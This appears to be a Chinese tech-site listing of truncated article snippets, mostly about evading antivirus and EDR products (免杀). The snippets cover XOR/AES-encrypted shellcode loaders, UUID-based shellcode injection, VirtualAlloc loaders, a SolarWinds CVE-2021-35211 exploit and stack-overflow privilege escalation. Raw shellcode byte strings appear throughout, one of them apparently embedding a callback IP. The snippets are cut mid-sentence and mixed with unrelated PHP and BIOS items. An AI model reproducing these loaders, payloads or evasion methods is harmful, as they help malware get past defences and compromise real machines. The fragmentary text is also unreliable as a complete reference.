首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在导致服务器宕机的情况下, PHP 读取大文件

在一个异步执行模型(如多进程或多线程的PHP应用程序)中,CPU和内存的使用率是很重要的考量因素。在传统的PHP架构中,当任何一个值达到服务器的极限时,这些通常都会成为问题。...文件大小为5.5MB,内存占用峰值为12.8MB。现在让我们一个生成器来读取每一行: 文本文件大小不变,但内存使用峰值只是393KB。即使我们能把读取到的数据做一些事情也并不意味着什么。...我们可以一些其他的东西来更好的替换file_get_contents(就像Guzzle),即使在引擎内部它们几乎是一样的。 图片的内存大概有581K。...现在,让我们来试试这个 内存使用明显变少(大概400K),但是结果是一样的。如果我们不关注内存信息,我们依旧可以标准模式输出。...你不得不怀疑:如果你可以选择不同的格式并节省约12倍的内存,为什么选呢?

1.6K50

免杀tips——敏感函数处理过国内主流杀软

✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...目前市面上的绝大多数杀软基于判断一个exe是否为木马,无非就是敏感函数或是调用敏感的api、特征库匹配、hash值、监控内存之类的 ,所以静态的还是比较好过的,稍微处理一下自己的shellcode基本上是都可以过的...异或加密说实话已经烂大街的,基本上你任何杀毒都查杀 ,当然这里是指单纯的异或加密shellcode。 2....\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...py脚本名 -s payload.bin -d payload.c -n 10 -r out.bin 执行完目录会生成一个payload.c文件 ,这里面就是已经加密好的shellcode,直接copy就行了

1.2K40
您找到你想要的搜索结果了吗?
是的
没有找到

Linux通过栈溢出进行提权实战

最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权的是程序栈溢出的漏洞,相对常规方法还是比较少见的,所以拿出来单独在这里研究下。...NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。...尝试http下载但没有成功,以后遇到bash反弹的就架个服务器,遇到ssh的还是sftp更方便点; ? 我这里用得是MobaXterm;运行下程序看看; ?...(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。...(我是直接进到靶机里去调试的,当然,edb、gdb调试甚至爆破都是可以的。) 这里msfvenom生成自己所需要的shellcode: ?

1.9K10

如何使用Killer绕过AV和EDR等安全检测产品

功能介绍 1、实现了针对内存扫描绕过的Module Stomping技术; 2、通过刷新ntdll副本解DLL钩子; 3、IAT隐藏和混淆&API解钩子; 4、实现了用于用于绕过某些安全控制的...包含沙盒规避技术和基本反调试; 6、通过XOR实现完全代码混淆(函数-键-Shellcode); 7、Shellcode混淆、反混淆和加密; 8、在不使用API的情况下将Payload移动到内存中...; 9、在创建新线程的情况下运行,支持x64和x86架构; 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/0xHossam...x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\

36320

红队作业 | 实战免杀课程和实践

实现方式: 1、函数替换,使用各种Windows API中与内存相关的函数 2、shellcode、代码分离;加载器远程调用,远程代码执行 3、Shellcode编码、加密、代码混淆等 4、资源节加载shellcode...# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串 return b2a_hex(cipher_text) # 解密,去掉补足的空格strip...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" buf += b"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a...0, 0);//获得可执行的句柄 void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间 if (ha == NULL) { cout << "内存申请失败...文本字符串用来定义文件或进程内存中可读型内容; 十六进制字符串用来定义字节内容; 正则表达式可用在文本字符串和十六进制字符串中。 字符串中要匹配的即为恶意文件的特征。

1.6K20

红队技巧-利用uuid加载shellcode

近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...还有需要注意的点,就是windows 二进制字节序列是的小端计数法,转换时且二进制序列必须16个字符为一组。 2.EnumSystemLocalesA 微软官方文档: ?...exec,0); 利用uuid来加载shellcode,上线cs 我们先来看普通的shellcode 的c加载方式 #include #include #弹窗...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以其他windows api 来向内存中写入shellcode,加载shellcode

1.7K30

创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211

读取内存地址处的值rax并将其存储在rax寄存器中。 例如,如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。...第一步是在 Serv-U 的.data段中找到一个可写的内存地址,我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分;假设是内存区域确实未被使用。...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a...注意:我建议红队参与,因为你仍然会被无数其他控件抓住。但对于简单的例,弹出一个连接回壳或Sliver会话就足够了。

2K20

红队技巧-利用uuid加载shellcode

y 点击蓝字关注我哦 近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...还有需要注意的点,就是windows 二进制字节序列是的小端计数法,转换时且二进制序列必须16个字符为一组。 2.EnumSystemLocalesA 微软官方文档: ?...exec,0); 利用uuid来加载shellcode,上线cs 我们先来看普通的shellcode 的c加载方式 #include #include #弹窗...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以其他windows api 来向内存中写入shellcode,加载shellcode

1.1K10

构建ROP链实现远程栈溢出

如上图就是运行后的FTP服务器,通过nc工具链接服务端的地址nc 192.168.1.8 9999 可以得到一个FTP交互环境,此时可以执行send | hello world命令,来向服务器发送一段字符串...,同时服务器会返回给你Data received successfully这样的提示信息,好了我们开始分析程序并挖掘漏洞吧。...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...\x2b" buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43" buf += b"\xbb\xc7\x25\x01\x44\x38...小总结: 上方我们所演示的就是典型的基于内存的攻击技术,该技术的优势就是几乎很难被发现,100%的利用成功率,内存攻击技术就是利用了软件的安全漏洞,该漏洞的产生表面上是开发人员没有对缓冲区进行合理的检测

81820

pyinstaller打包逆向分析,顺便免杀Windows Defender

✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...fuzz发现,火绒对RtlMoveMemory字段敏感 当删除RtlMoveMemory之后 因此只要对RtlMoveMemory进行关键字处理应该就可以了,这里对字符进行base64加密再解密,当然也可以base32

2.6K20

免杀必会- 规避杀软的库

加密库 做免杀时或自己开发c2时,加密话题是永远离不开的,无论是代码加密,流量加密,或者是内存加密,都是十分重要的,且必须的环节,windows 中也有许多和加密有关的库,但是比较常用的和加密效果比较好的...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...; i < shellcodeSize - 1; i++) { printf("\\x%02x", shellcode[i]); } printf("\n"); } 这种可以用来,加密内存...我们可以lazy importer 库,github地址:https://github.com/JustasMasiulis/lazy_importer 使用巨简单,导入头文件lazy_importer.hpp...github地址:https://github.com/jthuraisamy/SysWhispers2 之前我有一篇文章:手把手教你使用系统调用,也是讲的这个,那个比较详细,所以这里细讲。

1.2K20

从火绒特征码识别到免杀的思考...

免杀载体:msfpayload,的汇编直接加载 免杀目标:火绒 1.免杀载体介绍 是一个简单的内联汇编加载shellcode的payload,为什么这个呢,因为这个我们之后反汇编起来比较简单。...// #include "stdafx.h" #pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行 #pragma comment...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b...4.免杀的思考 那么既然这里是的tcp的链接,我们又该如何去思考怎么做免杀呢? 非常简单,替换方式,具体是什么方式呢?...大家注意到没有,由于shellcode是要支持直接在内存中运行的代码,所以上面的代码中调用函数的过程全部都是通过hash的方式去调用的函数,那么除了hash调用的方法之外还有没有其他的呢?

1.6K50

红队作业 | 钉钉机器人远控服务器体验

本次作业是使用钉钉机器人来实现远控服务器!...1、登录钉钉开放平台 可以先创建一个企业 选择应用开发,企业内部开发,添加一个机器人 记录生成的密钥 配置好开发管理,服务器出口IP添加VPS的地址,消息接收地址为一个可以接收数据的url,该url...验证不通过') print('有get请求') if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) 3、在开发管理的服务器上启动服务...4、调试 在钉钉开放平台上选择调试 打开钉钉,会有一个TEST版本的群聊,可以在里面进行测试 可以看到,命令执行成功,服务器端请求成功 参考: 钉钉机器人设置: https://open.dingtalk.com...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59

1.6K20

对木马进行静态免杀(新手篇)送免杀工具包

我这里默认的方式进行免杀,但其实已经不是很好用了,建议将其中的base64的加密方式大家自行改一改,可以换成其他编码,我这里先教大家走一遍制作流程,大家后期自己修改代码。工具包在文章末尾。...第28行最后面有个空格去掉,容易报错 然后35行中的网址替换成百度的 这里目的是测试目标机器是否连接外网,连接才运行,不然运行。...x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\

80720

【免杀】C++静态免杀学习

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下: 先把项目下载,然后把...xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\

2.2K30

利用加载器以及Python反序列化绕过AV

但是内网中一般部署有防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。...目前免杀技术大致分为以下几类: 特征码修改 花指令免杀 加壳免杀 内存免杀 二次编译 分离免杀 资源修改 ......\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...后记 在本次研究过程中,参考了很多师傅的资料与分享,总结了一下思路,其中有一些问题还需要解决,Python语言作为胶水语言,理解起来比较方便,因此我们这里也是Python举了一个例子,但是迎面而来的也有一些问题

1.1K30

免杀|记一次cs样本免杀实践

:这个检测的时间点在虚拟化运行检测之后,一般是虚拟化检测没问题,用户自己在物理机运行的时候,杀软可以随时将运行的可执行文件内存dump下来,进行检测;这里我们简单说下方法论,展开说细节,后文提到的技术再展开说...;首先是如何绕过虚拟化检测:核心就是不让虚拟环境接触到我们的shellcode1、样本做一些虚拟化环境、沙箱做不了的操作;2、样本检查是否存在虚拟化环境、沙箱特征然后释放恶意代码;然后是如何绕过内存dump...\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\...\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x39\\x32\\x2e\\x31\...1、对抗虚拟化运行检查(虚拟沙箱)检查沙箱特征运行:笔者在今年hw的时候分析了一些样本,其中又一些做了一些反虚拟化和反沙箱操作,这里我们直接借鉴,然后稍加增补即可;如这个go写的样本:这里我们直接借鉴一波

1.5K10

写一个操作系统_02 硬件与BIOS

CPU内部了,所以Intel 50系芯片“组”(X58除外,这是搭配i7 9xx的,还有北桥)已经没有传统意义的北桥了,而南桥依然负责处理低速设备(SATA/USB/PCI等)、时钟等功能。...我们来看一下CPU的第一条指令,CPU遵循着最简单的工作模式,从CS:IP 拿到内存的地址,取址执行,但是当主机刚刚上电,内存数据还没有初始化的时候,第一条指令从哪里来呢?...CPU毕竟是硬件设备,也需要搭配硬件设备工作,有一类内存是掉电数据丢失的,比如EEPROM(电可擦除可编程只读存储器),它被广泛用于需要经常擦除的BIOS芯片以及闪存芯片; DRAM:动态随机存取存储器...,一般指物理内存….   ...在16位的8086 CPU时代,内存限制在1MB范围内,且BIOS的代码固化在EPROM中。在基于Intel的8086 CPU的PC机中的EPROM被编址在1MB内存地址空间的最高64KB中。

76820
领券